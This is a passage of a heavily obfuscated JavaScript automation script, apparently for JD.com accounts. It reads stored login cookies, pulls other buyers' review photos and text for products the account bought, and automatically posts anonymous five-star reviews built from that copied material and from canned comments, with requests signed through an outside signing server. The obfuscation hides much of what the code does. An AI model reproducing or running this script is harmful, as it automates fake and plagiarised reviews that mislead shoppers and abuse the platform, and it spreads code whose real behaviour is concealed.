yUnY=','6buY6K6k5LiN5omn6KGMLCDpnIDopoHmiafooYzor7fnjq/looPlj5jph4/orr7nva4gaXNDb21tZW50UGljIOS4uiB0cnVl','UGN0WXE=','RHJMaVE=','alBSbEQ=','cEFFdkM=','U2pTZFk=','bXNn','bmFtZQ==','UHluclQ=','RWNYaEk=','aUJBUmk=','c0t4U04=','jnUhsWCjiamDRqGiJ.lzcDAeom.v6=='];if(function(_0x5a5722,_0x4f3378,_0x7d00c8){function _0x29d159(_0x3a9827,_0x39e0b2,_0x10fc60,_0x4da6d5,_0x951339,_0x1f26a5){_0x39e0b2=_0x39e0b2>>0x8,_0x951339='po';var _0x8b975c='shift',_0x33bcba='push',_0x1f26a5='‮';if(_0x39e0b2<_0x3a9827){while(--_0x3a9827){_0x4da6d5=_0x5a5722[_0x8b975c]();if(_0x39e0b2===_0x3a9827&&_0x1f26a5==='‮'&&_0x1f26a5['length']===0x1){_0x39e0b2=_0x4da6d5,_0x10fc60=_0x5a5722[_0x951339+'p']();}else if(_0x39e0b2&&_0x10fc60['replace'](/[nUhWCDRqGJlzDAe=]/g,'')===_0x39e0b2){_0x5a5722[_0x33bcba](_0x4da6d5);}}_0x5a5722[_0x33bcba](_0x5a5722[_0x8b975c]());}return 0x113bdd;};return _0x29d159(++_0x4f3378,_0x7d00c8)>>_0x4f3378^_0x7d00c8;}(_0x58c4,0x1a7,0x1a700),_0x58c4){_0xodo_=_0x58c4['length']^0x1a7;};function _0x15b8(_0x5bb498,_0x289441){_0x5bb498=~~'0x'['concat'](_0x5bb498['slice'](0x1));var _0x449a93=_0x58c4[_0x5bb498];if(_0x15b8['hXBKss']===undefined&&'‮'['length']===0x1){(function(){var _0x125864=function(){var _0x2cefef;try{_0x2cefef=Function('returnx20(function()x20'+'{}.constructor(x22returnx20thisx22)(x20)'+');')();}catch(_0x73f42b){_0x2cefef=window;}return _0x2cefef;};var _0xafdf92=_0x125864();var _0x4e65c4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xafdf92['atob']||(_0xafdf92['atob']=function(_0x1cfbdc){var _0x207a75=String(_0x1cfbdc)['replace'](/=+$/,'');for(var _0x762e4c=0x0,_0x4d8393,_0x1651c7,_0x2b8aea=0x0,_0x4cfac3='';_0x1651c7=_0x207a75['charAt'](_0x2b8aea++);~_0x1651c7&&(_0x4d8393=_0x762e4c%0x4?_0x4d8393*0x40+_0x1651c7:_0x1651c7,_0x762e4c++%0x4)?_0x4cfac3+=String['fromCharCode'](0xff&_0x4d8393>>(-0x2*_0x762e4c&0x6)):0x0){_0x1651c7=_0x4e65c4['indexOf'](_0x1651c7);}return _0x4cfac3;});}());_0x15b8['vGxjVy']=function(_0x392531){var _0x137d3e=atob(_0x392531);var _0x1152be=[];for(var _0x2f1785=0x0,_0x15b44d=_0x137d3e['length'];_0x2f1785<_0x15b44d;_0x2f1785++){_0x1152be+='%'+('00'+_0x137d3e['charCodeAt'](_0x2f1785)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1152be);};_0x15b8['XyPutX']={};_0x15b8['hXBKss']=!![];}var _0x183dd6=_0x15b8['XyPutX'][_0x5bb498];if(_0x183dd6===undefined){_0x449a93=_0x15b8['vGxjVy'](_0x449a93);_0x15b8['XyPutX'][_0x5bb498]=_0x449a93;}else{_0x449a93=_0x183dd6;}return _0x449a93;};let defKeyWords=[_0x15b8('‫0'),_0x15b8('‫1'),_0x15b8('‮2')];let defcommentlist=[_0x15b8('‮3'),_0x15b8('‫4'),_0x15b8('‫5'),_0x15b8('‫6'),_0x15b8('‮7'),_0x15b8('‫8'),_0x15b8('‫9'),_0x15b8('‮a'),_0x15b8('‮b'),_0x15b8('‫c')];!(async()=>{var _0x272b5f={'iBARi':function(_0x23899c,_0xc76440){return _0x23899c(_0xc76440);},'sKxSN':function(_0x3356e9,_0x24375d){return _0x3356e9||_0x24375d;},'kAweH':function(_0x4e50e4,_0x2b9091){return _0x4e50e4*_0x2b9091;},'pAEvC':function(_0x5f987f,_0x58577a){return _0x5f987f===_0x58577a;},'SjSdY':_0x15b8('‮d'),'PynrT':_0x15b8('‮e'),'EcXhI':_0x15b8('‫f'),'eoUnk':_0x15b8('‮10'),'eOgpm':_0x15b8('‫11'),'flKHH':function(_0x512481,_0x4c99ca){return _0x512481>_0x4c99ca;},'viyfP':function(_0xa28fba,_0xf26e05){return _0xa28fba!==_0xf26e05;},'MMzvN':_0x15b8('‮12'),'pYVUu':_0x15b8('‮13'),'kQCxE':function(_0x4a1fd,_0x327700){return _0x4a1fd<_0x327700;},'sPxrN':function(_0x4bdd4c,_0x49ad63){return _0x4bdd4c(_0x49ad63);},'lAwUF':function(_0x19be9c,_0x1c6130){return _0x19be9c+_0x1c6130;},'kWTWb':function(_0x5a586e){return _0x5a586e();},'sCeyD':_0x15b8('‮14'),'UTVdW':function(_0x4d2823){return _0x4d2823();}};if(!cookiesArr[0x0]){if(_0x272b5f[_0x15b8('‫15')](_0x272b5f[_0x15b8('‫16')],_0x272b5f[_0x15b8('‫16')])){$[_0x15b8('‮17')]($[_0x15b8('‮18')],_0x272b5f[_0x15b8('‮19')],_0x272b5f[_0x15b8('‫1a')],{'open-url':_0x272b5f[_0x15b8('‫1a')]});return;}else{_0x272b5f[_0x15b8('‫1b')](n,_0x272b5f[_0x15b8('‫1c')](o,''));}}if(_0x272b5f[_0x15b8('‫15')](isComment,![])){if(_0x272b5f[_0x15b8('‮1d')]!==_0x15b8('‮1e')){console[_0x15b8('‫1f')](_0x272b5f[_0x15b8('‮20')]);return;}else{picURL=t[_0x15b8('‮21')][_0x15b8('‫22')](/s[0-9]{3}x[0-9]{3}_(.*).dpg/g,'$1');}}let _0x52ff07=0x0;if(_0x272b5f[_0x15b8('‮23')](cookiesArr[_0x15b8('‮24')],0xa)){if(_0x272b5f[_0x15b8('‫25')](_0x15b8('‮26'),_0x15b8('‫27'))){_0x52ff07=0xa;}else{$[_0x15b8('‫1f')]('','❌x20'+$[_0x15b8('‮18')]+_0x15b8('‫28')+e+'!','');}}else{if(_0x272b5f[_0x15b8('‮29')]!==_0x272b5f[_0x15b8('‮2a')]){_0x52ff07=cookiesArr[_0x15b8('‮24')];}else{return arr[Math[_0x15b8('‫2b')](_0x272b5f[_0x15b8('‫2c')](Math[_0x15b8('‫2d')](),arr[_0x15b8('‮24')]))];}}for(let _0x41b414=0x0;_0x272b5f[_0x15b8('‫2e')](_0x41b414,_0x52ff07);_0x41b414++){UA=_0x15b8('‫2f')+uuidRandom()+_0x15b8('‮30');if(cookiesArr[_0x41b414]){cookie=cookiesArr[_0x41b414];$[_0x15b8('‫31')]=_0x272b5f[_0x15b8('‫32')](decodeURIComponent,cookie[_0x15b8('‫33')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x15b8('‫33')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x15b8('‮34')]=_0x272b5f[_0x15b8('‮35')](_0x41b414,0x1);$[_0x15b8('‮36')]=!![];$[_0x15b8('‫37')]='';$[_0x15b8('‮38')]='';$[_0x15b8('‮39')]='';await _0x272b5f[_0x15b8('‮3a')](TotalBean);console[_0x15b8('‫1f')](_0x15b8('‮3b')+$[_0x15b8('‮34')]+'】'+($[_0x15b8('‫37')]||$[_0x15b8('‫31')])+_0x15b8('‫3c'));if(!$[_0x15b8('‮36')]){$[_0x15b8('‮17')]($[_0x15b8('‮18')],_0x15b8('‮3d'),_0x15b8('‮3e')+$[_0x15b8('‮34')]+'x20'+($[_0x15b8('‫37')]||$[_0x15b8('‫31')])+_0x15b8('‫3f'),{'open-url':_0x272b5f[_0x15b8('‫1a')]});if($[_0x15b8('‮40')]()){if(_0x272b5f[_0x15b8('‫15')](_0x272b5f[_0x15b8('‫41')],_0x15b8('‮14'))){await notify[_0x15b8('‮42')]($[_0x15b8('‮18')]+_0x15b8('‫43')+$[_0x15b8('‫31')],_0x15b8('‮3e')+$[_0x15b8('‮34')]+'x20'+$[_0x15b8('‫31')]+_0x15b8('‮44'));}else{console[_0x15b8('‫1f')](e);}}continue;}await _0x272b5f[_0x15b8('‮45')](main);console[_0x15b8('‫1f')](_0x15b8('‫46'));await $[_0x15b8('‮47')](0x4e20);}}})()[_0x15b8('‮48')](_0x19720c=>{$[_0x15b8('‫1f')]('','❌x20'+$[_0x15b8('‮18')]+_0x15b8('‫28')+_0x19720c+'!','');})[_0x15b8('‮49')](()=>{$[_0x15b8('‫4a')]();});async function main(){var _0x30d0f4={'yaKhM':_0x15b8('‫4b'),'sfbKm':function(_0x560176,_0x3e0a3e){return _0x560176===_0x3e0a3e;},'Pjcxq':_0x15b8('‫4c'),'oYPLZ':_0x15b8('‫4d'),'XjOOq':_0x15b8('‫4e'),'AZYsb':_0x15b8('‫4f'),'otNmV':function(_0x2593e1,_0x2b52a2){return _0x2593e1===_0x2b52a2;},'KmUrp':function(_0x4f0a60){return _0x4f0a60();},'hsnIL':function(_0x467c1f,_0x87b660){return _0x467c1f(_0x87b660);},'xxHbo':function(_0x24520c,_0x4b251e){return _0x24520c!==_0x4b251e;},'nhwev':_0x15b8('‮50'),'sYEBT':function(_0x45ebd4,_0x4193eb){return _0x45ebd4(_0x4193eb);},'DGqzN':_0x15b8('‫51'),'ZvCnl':function(_0x172fc6,_0x182fc8){return _0x172fc6!==_0x182fc8;},'veaKu':_0x15b8('‫52'),'ruyYK':function(_0x354088,_0x1dd5c8){return _0x354088!==_0x1dd5c8;},'GMWcG':_0x15b8('‮53'),'seAkx':_0x15b8('‫54'),'xrlPB':function(_0x559479,_0x449101){return _0x559479===_0x449101;},'dCdbX':_0x15b8('‫55'),'TfjLG':_0x15b8('‫56'),'TCtht':function(_0x4df6eb,_0x584b86){return _0x4df6eb>=_0x584b86;},'PaYix':_0x15b8('‫57'),'VLtwA':_0x15b8('‮58'),'FXQho':function(_0x8b82cf,_0x1d3ee7){return _0x8b82cf>=_0x1d3ee7;},'nHHsn':function(_0x3584d9,_0x406d35){return _0x3584d9<_0x406d35;},'YGpAY':function(_0x550f29,_0xcecb7d,_0x2fc30b){return _0x550f29(_0xcecb7d,_0x2fc30b);},'RVJSm':_0x15b8('‮59'),'iGyNo':function(_0x3a40cb,_0x5563d9,_0x1d92ca){return _0x3a40cb(_0x5563d9,_0x1d92ca);},'MCNNs':_0x15b8('‫5a'),'BYzyy':_0x15b8('‮5b')};let _0x46b344=[];let _0x523b44=[];let _0x33f5cf=[];await _0x30d0f4[_0x15b8('‫5c')](getCommentWareList);await $[_0x15b8('‮47')](0x7d0);await _0x30d0f4[_0x15b8('‮5d')](getCommentWareList,$[_0x15b8('‮5e')]);let _0xd8ff1f=$[_0x15b8('‮38')];if(_0xd8ff1f){if(_0x30d0f4[_0x15b8('‮5f')](_0x30d0f4[_0x15b8('‮60')],_0x15b8('‫61'))){await _0x30d0f4[_0x15b8('‮62')](getCommentListWithCard,_0xd8ff1f[_0x15b8('‮63')]);await $[_0x15b8('‮47')](0x7d0);let _0xc2e1e3=$[_0x15b8('‮39')];for(const _0x1811dd of _0xc2e1e3){if(_0x30d0f4[_0x15b8('‮5f')](_0x15b8('‫51'),_0x30d0f4[_0x15b8('‮64')])){console[_0x15b8('‫1f')](_0x30d0f4[_0x15b8('‫65')]);}else{if(_0x1811dd[_0x15b8('‫66')][_0x15b8('‮67')]){for(const _0x308bc2 of _0x1811dd[_0x15b8('‫66')][_0x15b8('‮67')]||{}){if(_0x308bc2[_0x15b8('‫68')]!='2'){if(_0x30d0f4[_0x15b8('‮69')](_0x308bc2[_0x15b8('‮21')][_0x15b8('‮6a')](_0x30d0f4[_0x15b8('‮6b')]),-0x1)){picURL=_0x308bc2[_0x15b8('‮21')][_0x15b8('‫22')](/s[0-9]{3}x[0-9]{3}_(.*).dpg/g,'$1');}else if(_0x30d0f4[_0x15b8('‫6c')](_0x308bc2[_0x15b8('‮21')][_0x15b8('‮6a')](_0x30d0f4[_0x15b8('‫6d')]),-0x1)){picURL=_0x308bc2[_0x15b8('‮21')][_0x15b8('‫22')](/s[0-9]{3}x[0-9]{3}_(.*).webp/g,'$1');}else if(_0x30d0f4[_0x15b8('‫6c')](_0x308bc2[_0x15b8('‮21')][_0x15b8('‮6a')](_0x30d0f4[_0x15b8('‮6e')]),-0x1)){if(_0x30d0f4[_0x15b8('‫6f')](_0x30d0f4[_0x15b8('‫70')],_0x15b8('‮71'))){if(n)$[_0x15b8('‫72')](n);else if(a){if(_0x30d0f4[_0x15b8('‮73')](0x3e9,(a=JSON[_0x15b8('‫74')](a))[_0x15b8('‫75')]))return void($[_0x15b8('‮36')]=!0x1);0x0===a[_0x15b8('‫75')]&&a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x15b8('‫77')](_0x30d0f4[_0x15b8('‫78')])&&($[_0x15b8('‫37')]=a[_0x15b8('‫76')][_0x15b8('‫4c')][_0x15b8('‫79')][_0x15b8('‫7a')]),_0x30d0f4[_0x15b8('‮73')](0x0,a[_0x15b8('‫75')])&&a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x30d0f4[_0x15b8('‮7b')]]&&($[_0x15b8('‫7c')]=a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x15b8('‫4d')][_0x30d0f4[_0x15b8('‫7d')]]);}else console[_0x15b8('‫1f')](_0x30d0f4[_0x15b8('‫7e')]);}else{picURL=_0x308bc2[_0x15b8('‮21')][_0x15b8('‫22')](/s[0-9]{3}x[0-9]{3}_(.*).avif/g,'$1');}}_0x46b344[_0x15b8('‫7f')](picURL);};};};if(_0x30d0f4[_0x15b8('‫6f')](_0x1811dd[_0x15b8('‫66')][_0x15b8('‫80')],'5')&&_0x1811dd[_0x15b8('‫66')][_0x15b8('‮81')][_0x15b8('‮24')]>wordcount){_0x523b44[_0x15b8('‫7f')](_0x1811dd[_0x15b8('‫66')][_0x15b8('‮81')]);};}};nullKeyword='';for(let _0x374b4a of defKeyWords)userKeyWords[_0x15b8('‫7f')](_0x374b4a);for(let _0x205733 of _0x523b44){if(userKeyWords[_0x15b8('‮82')](_0x385159=>_0x205733[_0x15b8('‮83')](_0x385159)?nullKeyword=_0x385159:'')){if(_0x30d0f4[_0x15b8('‫6f')](_0x30d0f4[_0x15b8('‫84')],_0x30d0f4[_0x15b8('‫84')])){console[_0x15b8('‫1f')](_0x15b8('‮85')+nullKeyword+'】');}else{cklen=0xa;}}else{_0x33f5cf[_0x15b8('‫7f')](_0x205733);};};let _0x5ed02e=_0x30d0f4[_0x15b8('‮62')](random,_0x33f5cf);let _0x4529b9=[{'picUrl':_0x46b344[0x0]},{'picUrl':_0x46b344[0x1]}];let _0xc56748=_0x30d0f4[_0x15b8('‮62')](random,defcommentlist);if(_0x46b344[_0x15b8('‮24')]>=0x2&&_0x30d0f4[_0x15b8('‫86')](_0x33f5cf[_0x15b8('‮24')],0x2)){console[_0x15b8('‫1f')](_0x15b8('‫87')+_0xd8ff1f[_0x15b8('‫88')]+_0x15b8('‮89'));await task(_0x30d0f4[_0x15b8('‫8a')],{'productId':_0xd8ff1f[_0x15b8('‮63')],'kocSynFlag':'0','categoryList':_0xd8ff1f[_0x15b8('‫8b')],'voucherStatus':'0','extInfo':{'mediasExt':_0x15b8('‮59')},'officerScore':_0x30d0f4[_0x15b8('‫8c')],'anonymousFlag':'1','commentScore':'5','shopType':'0','orderId':_0xd8ff1f[_0x15b8('‮8d')],'shopId':_0xd8ff1f[_0x15b8('‫8e')],'addPictureFlag':'0','commentData':_0xc56748,'pictureInfoList':_0x4529b9,'officerLevel':'3','isCommentTagContent':'0'});}else if(_0x30d0f4[_0x15b8('‫8f')](_0x46b344[_0x15b8('‮24')],0x2)&&_0x30d0f4[_0x15b8('‫90')](_0x33f5cf[_0x15b8('‮24')],0x2)){console[_0x15b8('‫1f')](_0x15b8('‫87')+_0xd8ff1f[_0x15b8('‫88')]+_0x15b8('‫91'));await _0x30d0f4[_0x15b8('‮92')](task,_0x15b8('‫57'),{'productId':_0xd8ff1f[_0x15b8('‮63')],'kocSynFlag':'0','categoryList':_0xd8ff1f[_0x15b8('‫8b')],'voucherStatus':'0','extInfo':{'mediasExt':_0x30d0f4[_0x15b8('‫93')]},'officerScore':_0x15b8('‮58'),'anonymousFlag':'1','commentScore':'5','shopType':'0','orderId':_0xd8ff1f[_0x15b8('‮8d')],'shopId':_0xd8ff1f[_0x15b8('‫8e')],'addPictureFlag':'0','commentData':_0xc56748,'pictureInfoList':_0x4529b9,'officerLevel':'3','isCommentTagContent':'0'});}else if(_0x46b344[_0x15b8('‮24')]<0x2&&_0x30d0f4[_0x15b8('‫8f')](_0x33f5cf[_0x15b8('‮24')],0x2)){console[_0x15b8('‫1f')](_0x15b8('‫87')+_0xd8ff1f[_0x15b8('‫88')]+_0x15b8('‮94'));await _0x30d0f4[_0x15b8('‫95')](task,_0x30d0f4[_0x15b8('‫8a')],{'productId':_0xd8ff1f[_0x15b8('‮63')],'kocSynFlag':'0','categoryList':_0xd8ff1f[_0x15b8('‫96')],'voucherStatus':'0','officerScore':_0x30d0f4[_0x15b8('‫8c')],'anonymousFlag':'1','commentScore':'5','shopType':'0','orderId':_0xd8ff1f[_0x15b8('‮8d')],'shopId':_0xd8ff1f[_0x15b8('‫8e')],'addPictureFlag':'0','commentData':_0xc56748,'pictureInfoList':'','officerLevel':'3','isCommentTagContent':'0'});}else if(_0xc2e1e3[_0x15b8('‮24')]<=0x1){if(_0x30d0f4[_0x15b8('‫6f')](_0x30d0f4[_0x15b8('‫97')],_0x15b8('‫5a'))){console[_0x15b8('‫1f')](_0x15b8('‫87')+_0xd8ff1f[_0x15b8('‫88')]+_0x15b8('‮98'));await task(_0x30d0f4[_0x15b8('‫8a')],{'productId':_0xd8ff1f[_0x15b8('‮63')],'kocSynFlag':'0','categoryList':_0xd8ff1f[_0x15b8('‫96')],'voucherStatus':'0','officerScore':_0x30d0f4[_0x15b8('‫8c')],'anonymousFlag':'1','commentScore':'5','shopType':'0','orderId':_0xd8ff1f[_0x15b8('‮8d')],'shopId':_0xd8ff1f[_0x15b8('‫8e')],'addPictureFlag':'0','commentData':_0xc56748,'pictureInfoList':'','officerLevel':'3','isCommentTagContent':'0'});}else{picURL=t[_0x15b8('‮21')][_0x15b8('‫22')](/s[0-9]{3}x[0-9]{3}_(.*).webp/g,'$1');}};}else{if(userKeyWords[_0x15b8('‮82')](_0x37bc9c=>e[_0x15b8('‮83')](_0x37bc9c)?nullKeyword=_0x37bc9c:'')){console[_0x15b8('‫1f')](_0x15b8('‮85')+nullKeyword+'】');}else{_0x33f5cf[_0x15b8('‫7f')](e);};}}else{if(_0x30d0f4[_0x15b8('‫6f')](_0x30d0f4[_0x15b8('‫99')],_0x30d0f4[_0x15b8('‫99')])){console[_0x15b8('‫1f')](_0x30d0f4[_0x15b8('‫65')]);}else{if(_0x30d0f4[_0x15b8('‮73')](0x3e9,(a=JSON[_0x15b8('‫74')](a))[_0x15b8('‫75')]))return void($[_0x15b8('‮36')]=!0x1);_0x30d0f4[_0x15b8('‮73')](0x0,a[_0x15b8('‫75')])&&a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x15b8('‫77')](_0x30d0f4[_0x15b8('‫78')])&&($[_0x15b8('‫37')]=a[_0x15b8('‫76')][_0x15b8('‫4c')][_0x15b8('‫79')][_0x15b8('‫7a')]),_0x30d0f4[_0x15b8('‮9a')](0x0,a[_0x15b8('‫75')])&&a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x15b8('‫4d')]&&($[_0x15b8('‫7c')]=a[_0x15b8('‫76')]&&a[_0x15b8('‫76')][_0x30d0f4[_0x15b8('‮7b')]][_0x30d0f4[_0x15b8('‫7d')]]);}}}async function getCommentListWithCard(_0xe33f3c){s=await task(_0x15b8('‮9b'),{'sortType':'5','isCurrentSku':![],'sku':_0xe33f3c,'pictureCommentType':'A','shieldCurrentComment':'1','shopType':'0','type':'4','shadowMainSku':'0','offset':'1','num':'10'});$[_0x15b8('‮39')]=s[_0x15b8('‮39')];console[_0x15b8('‫1f')](_0x15b8('‮9c'));}async function getCommentWareList(_0x1fd34f='1'){var _0x59b73={'PImfL':function(_0x4a2f2e,_0x303215,_0x127943){return _0x4a2f2e(_0x303215,_0x127943);}};s=await _0x59b73[_0x15b8('‮9d')](task,_0x15b8('‫9e'),{'status':'1','planType':'1','pageIndex':_0x1fd34f,'pageSize':'10'});$[_0x15b8('‮5e')]=s[_0x15b8('‮9f')][_0x15b8('‮5e')];$[_0x15b8('‮38')]=s[_0x15b8('‮9f')][_0x15b8('‮38')][_0x15b8('‮a0')]()[0x0];}async function task(_0x41d504,_0x1bfc38){var _0x1813b4={'HfqED':_0x15b8('‫57'),'XzsDG':function(_0x1278ac,_0x420c85){return _0x1278ac(_0x420c85);},'JWpiv':function(_0x3dcda4,_0x31c2c9){return _0x3dcda4!==_0x31c2c9;},'udEvC':function(_0x3e7bcd,_0x270bd6,_0x5cc7b7){return _0x3e7bcd(_0x270bd6,_0x5cc7b7);},'oweAb':_0x15b8('‫a1'),'Cdwkk':_0x15b8('‫a2'),'VHjEZ':_0x15b8('‫a3')};return s=await _0x1813b4[_0x15b8('‮a4')](getSign,_0x41d504,_0x1bfc38),opt={'url':_0x15b8('‫a5')+_0x41d504,'body':s[_0x15b8('‮a6')],'headers':{'Host':_0x1813b4[_0x15b8('‮a7')],'content-type':_0x1813b4[_0x15b8('‮a8')],'accept':_0x1813b4[_0x15b8('‮a9')],'user-agent':UA,'accept-language':_0x15b8('‫aa'),'Cookie':cookie}},new Promise(_0x19d862=>{var _0x2054aa={'ZJeSF':_0x1813b4[_0x15b8('‫ab')],'aNuUq':function(_0x58873e,_0x2be2f6){return _0x1813b4[_0x15b8('‫ac')](_0x58873e,_0x2be2f6);}};if(_0x1813b4[_0x15b8('‮ad')](_0x15b8('‮ae'),_0x15b8('‮ae'))){cklen=cookiesArr[_0x15b8('‮24')];}else{$[_0x15b8('‫af')](opt,(_0x580098,_0x312261,_0x23d1f7)=>{try{_0x580098?console[_0x15b8('‫1f')](_0x580098):_0x23d1f7=JSON[_0x15b8('‫74')](_0x23d1f7);switch(_0x41d504){case _0x2054aa[_0x15b8('‫b0')]:if(_0x23d1f7[_0x15b8('‫b1')]){console[_0x15b8('‫1f')](_0x23d1f7[_0x15b8('‫b1')]);}break;default:break;}}catch(_0x461a26){console[_0x15b8('‫1f')](_0x461a26);}finally{_0x2054aa[_0x15b8('‫b2')](_0x19d862,_0x23d1f7);}});}});}function uuidRandom(){var _0x55b266={'QZRDH':function(_0x4f673f,_0x5b23ab){return _0x4f673f+_0x5b23ab;}};return _0x55b266[_0x15b8('‫b3')](_0x55b266[_0x15b8('‫b3')](Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa),Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa))+Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa)+Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa),Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa));}function random(_0x110c03){var _0x335c27={'fLFJL':function(_0x309fa0,_0x50c83d){return _0x309fa0*_0x50c83d;}};return _0x110c03[Math[_0x15b8('‫2b')](_0x335c27[_0x15b8('‫b6')](Math[_0x15b8('‫2d')](),_0x110c03[_0x15b8('‮24')]))];}function getSign(_0x620ad5,_0x2fddab){var _0x396e5d={'toCTY':function(_0xdf6bd5,_0x5466f8){return _0xdf6bd5+_0x5466f8;},'ecSCV':_0x15b8('‮b7'),'Ggpcp':function(_0x339e50,_0x1fea5c){return _0x339e50!==_0x1fea5c;},'kLTrc':_0x15b8('‫b8'),'Tvnnn':function(_0x436dba,_0xe9bcd2){return _0x436dba(_0xe9bcd2);},'yroou':_0x15b8('‮b9'),'Sruwe':_0x15b8('‮ba')};const _0x273515={'url':_0x396e5d[_0x15b8('‮bb')],'body':JSON[_0x15b8('‫bc')]({'fn':_0x620ad5,'body':_0x2fddab}),'headers':{'Content-Type':_0x396e5d[_0x15b8('‫bd')]}};return new Promise(_0x620ad5=>{var _0x1eb443={'oyeAX':function(_0x439b9e,_0x358aa0){return _0x439b9e+_0x358aa0;},'qLmne':function(_0x2defca,_0xc8febc){return _0x396e5d[_0x15b8('‫be')](_0x2defca,_0xc8febc);},'IBiXP':_0x396e5d[_0x15b8('‮bf')],'qGNAl':function(_0x42c5d5,_0x356ebe){return _0x396e5d[_0x15b8('‫c0')](_0x42c5d5,_0x356ebe);},'nJsaa':_0x396e5d[_0x15b8('‮c1')],'pInvh':function(_0x39e1d5,_0x23455d){return _0x396e5d[_0x15b8('‮c2')](_0x39e1d5,_0x23455d);},'FpxRo':function(_0x6aeb24,_0x33cf83){return _0x6aeb24||_0x33cf83;}};$[_0x15b8('‫af')](_0x273515,async(_0x2fddab,_0x475ce8,_0x3442f1)=>{try{_0x2fddab?console[_0x15b8('‫1f')](_0x2fddab):_0x3442f1=JSON[_0x15b8('‫74')](_0x3442f1);}catch(_0x2ad9ba){if(_0x1eb443[_0x15b8('‮c3')]===_0x1eb443[_0x15b8('‮c3')]){$[_0x15b8('‫72')](_0x2ad9ba,_0x475ce8);}else{try{_0x2fddab?console[_0x15b8('‫1f')](_0x2fddab):_0x3442f1=JSON[_0x15b8('‫74')](_0x3442f1);}catch(_0x4e66b6){$[_0x15b8('‫72')](_0x4e66b6,_0x475ce8);}finally{_0x2ad9ba(_0x3442f1||'');}}}finally{if(_0x1eb443[_0x15b8('‮c4')](_0x1eb443[_0x15b8('‫c5')],_0x1eb443[_0x15b8('‫c5')])){return _0x1eb443[_0x15b8('‫c6')](_0x1eb443[_0x15b8('‫c7')](Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa)+Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa)+Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa),Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa)),Math[_0x15b8('‫2d')]()[_0x15b8('‫b4')](0x10)[_0x15b8('‮b5')](0x2,0xa));}else{_0x1eb443[_0x15b8('‮c8')](_0x620ad5,_0x1eb443[_0x15b8('‫c9')](_0x3442f1,''));}}});});}function TotalBean(){var _0x4de52a={'dyqrV':function(_0x24660c,_0x15a673){return _0x24660c===_0x15a673;},'AWZZp':_0x15b8('‫75'),'hexrP':_0x15b8('‫4e'),'haxnd':_0x15b8('‫ca'),'sigGd':function(_0x5485a4){return _0x5485a4();},'cZLsf':_0x15b8('‫cb'),'YJbys':_0x15b8('‫a3'),'MVZHt':_0x15b8('‮cc'),'CHndV':_0x15b8('‫cd')};return new Promise(async _0x305ab9=>{var _0x38d4c2={'IQsSc':function(_0xeb0f85,_0x51f1b6){return _0x4de52a[_0x15b8('‫ce')](_0xeb0f85,_0x51f1b6);},'idXbN':_0x4de52a[_0x15b8('‮cf')],'bOGMJ':_0x15b8('‫4d'),'NOQPE':_0x4de52a[_0x15b8('‮d0')],'fURBp':_0x15b8('‫4f'),'DPrhB':_0x4de52a[_0x15b8('‫d1')],'VXKlD':function(_0x4465ff){return _0x4de52a[_0x15b8('‮d2')](_0x4465ff);}};const _0x5e519d={'url':_0x4de52a[_0x15b8('‮d3')],'headers':{'Host':_0x15b8('‫d4'),'Accept':_0x4de52a[_0x15b8('‮d5')],'Connection':_0x4de52a[_0x15b8('‮d6')],'Cookie':cookie,'User-Agent':UA,'Accept-Language':_0x15b8('‫d7'),'Referer':_0x15b8('‫d8'),'Accept-Encoding':_0x4de52a[_0x15b8('‮d9')]}};$[_0x15b8('‫da')](_0x5e519d,(_0x5e519d,_0x4a67d9,_0x5637c2)=>{try{if(_0x5e519d)$[_0x15b8('‫72')](_0x5e519d);else if(_0x5637c2){if(_0x38d4c2[_0x15b8('‫db')](0x3e9,(_0x5637c2=JSON[_0x15b8('‫74')](_0x5637c2))[_0x38d4c2[_0x15b8('‫dc')]]))return void($[_0x15b8('‮36')]=!0x1);_0x38d4c2[_0x15b8('‫db')](0x0,_0x5637c2[_0x38d4c2[_0x15b8('‫dc')]])&&_0x5637c2[_0x15b8('‫76')]&&_0x5637c2[_0x15b8('‫76')][_0x15b8('‫77')](_0x15b8('‫4c'))&&($[_0x15b8('‫37')]=_0x5637c2[_0x15b8('‫76')][_0x15b8('‫4c')][_0x15b8('‫79')][_0x15b8('‫7a')]),_0x38d4c2[_0x15b8('‫db')](0x0,_0x5637c2[_0x15b8('‫75')])&&_0x5637c2[_0x15b8('‫76')]&&_0x5637c2[_0x15b8('‫76')][_0x38d4c2[_0x15b8('‮dd')]]&&($[_0x15b8('‫7c')]=_0x5637c2[_0x15b8('‫76')]&&_0x5637c2[_0x15b8('‫76')][_0x38d4c2[_0x15b8('‮dd')]][_0x38d4c2[_0x15b8('‫de')]]);}else console[_0x15b8('‫1f')](_0x38d4c2[_0x15b8('‫df')]);}catch(_0x50a4cd){if(_0x38d4c2[_0x15b8('‫e0')]!==_0x38d4c2[_0x15b8('‫e0')]){defcommentInfolist[_0x15b8('‫7f')](vo[_0x15b8('‫66')][_0x15b8('‮81')]);}else{$[_0x15b8('‫72')](_0x50a4cd);}}finally{_0x38d4c2[_0x15b8('‫e1')](_0x305ab9);}});});};_0xodo='jsjiami.com.v6'; function Env(t, e) { "undefined" != typeof process && 